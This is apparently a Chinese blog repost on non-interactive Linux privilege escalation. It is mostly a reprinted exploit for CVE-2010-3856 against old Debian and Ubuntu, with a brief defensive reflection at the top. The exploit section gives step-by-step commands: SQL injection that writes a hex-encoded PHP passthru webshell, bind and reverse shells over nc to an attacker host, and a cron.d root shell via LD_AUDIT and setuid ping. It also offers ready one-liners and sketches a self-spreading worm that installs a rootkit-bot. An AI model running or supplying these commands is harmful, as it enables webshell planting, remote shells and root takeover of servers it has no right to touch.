linux非交互环境下本地提权思路与反思 linux localroot exploit

在iptables限制非常严格的时候，无法走icmp udp tcp的bind shell或connect back shell，又需要本地提权，root了之后关闭iptables，看看能否绕过访问控制手段（当然了，如果别人是硬件的防火墙，下文解决不了问题）。在这一场景下，可以考虑参考下文的非交互式本地提权的方法，或许还有其他linux localroot exploit也能实现，实战出真知。

另外有些时候不一定非得root的，nobody，非交互也能做非常多的事。

作为防御一方，面对这种场景，我们是否得反思

1、防御手段要与被防御系统分离，即使成功root了，依然难以快速渗透

2、我们对localroot是否有足够的事前的免疫能力，事中的发现能力及事后的定损取证能力？

Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root

# Exploit Title: Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root

# Date:   24-10-2010

# Author:   jmit

# Mail:   fhausberger[at]gmail[dot]com

# Tested on:   Debian 5.0.6

# CVE:   CVE-2010-3856

--------------

| DISCLAIMER |

--------------

# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE

# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR

# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF

# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS

# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN

# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)

# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE

# POSSIBILITY OF SUCH DAMAGE.

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| ABOUT |

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Debian/Ubuntu remote root exploitation example (GNU dynamic linker DSO vuln).

See (http://www.exploit-db.com/exploits/15304/). Should work on other linux

distros too.

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| BACKGROUND |

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Typically it isn't possible to use a suidshell or modify /etc/passwd directly after

webshell access (user nobody) to gain root access. But with the DSO vuln we can

launch commands as root and we can create a socket and connect to the user or setup

a bindshell.

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| EXPLOIT |

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After you have found a SQL-Injection vuln you can create a php backdoor. This is typically

possible with select into dumpfile/outfile statement. The values are a simple

<? passthru($_GET['c']); ?> backdoor.

---

DROP TABLE IF EXISTS `fm`;

CREATE TABLE `fm` (

`fm` longblob

) TYPE=MyISAM;

insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);

select fm from fm into dumpfile '/opt/lampp/htdocs/xampp_backup.php';

drop table fm;

flush logs;

---

Now you can connect to the server and create a connection with telnet, nc, write

binary with perl -e ' print "\x41\x42\x43\x44"', echo -en '\x41\x42\x43\x44', ...

If direct shell access isn't possible you can use phpcode to create your own

binary with php fwrite:

---

<?php $File = "/tmp/nc";

$Handle = fopen($File, 'w');

$Data = "\x41\x42\x43\x44";

fwrite($Handle, $Data);

fclose($Handle); ?>

---

Now use

Bind-Shell: http://victimip/xampp_backup.php?c=nc -l -p 9999 -e /bin/bash

Reverse-Shell: http://victimip/xampp_backup.php?c=/bin/nc attackerip 9999 | /bin/bash

in your webbrowser and connect to your shell

$ nc victimip 9999

id

uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

---

Now lets exploit the DSO vuln. You need umask 0 for correct

rw-rw-rw creation of exploit /etc/cron.d/exploit

$ umask 0

This is the shellscript for the cron.d entry.

Bind-Shell: $ echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh

Reverse-Shell: $ echo -e '/bin/nc localhost 8888 | /bin/bash' > /tmp/exploit.sh

Now make your shellscript executable for cron:

$ chmod u+x /tmp/exploit.sh

Create rw-rw-rw file in cron directory using the setuid ping program:

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

Launch every minute a suid root shell

$ echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

Now you have a root shell every minute.

$ nc attackerip 79

id

uid=0(root) gid=0(root) groups=0(root)

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| EXPLOIT oneline |

-------------------

echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

$ nc attackerip 79

id

uid=0(root) gid=0(root) groups=0(root)

------------------------------

| EXPLOIT from webshell only |

------------------------------

http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh

http://victimip/xampp_backup.php?c=/bin/chmod 0744 /tmp/exploit.sh

http://victimip/xampp_backup.php?c=umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

http://victimip/xampp_backup.php?c=echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

$ nc attackerip 79

id

uid=0(root) gid=0(root) groups=0(root)

---------------------------------

| EXPLOIT from webshell oneline |

---------------------------------

http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

$ nc attackerip 79

id

uid=0(root) gid=0(root) groups=0(root)

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| IDEAS |

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Looks like a wormable bug. The urlobfuscated (IDS/IPS) worm search for SQLI/BSQLI bugs or remote code execution bugs.

Then the worm injects the evil url and do the same for other ips. It installs a rootkit-bot and the game is over.© Offensive Security 2010

摘自红色黑客联盟(www.7747.net) 原文：http://www.7747.net/Article/201101/81973.html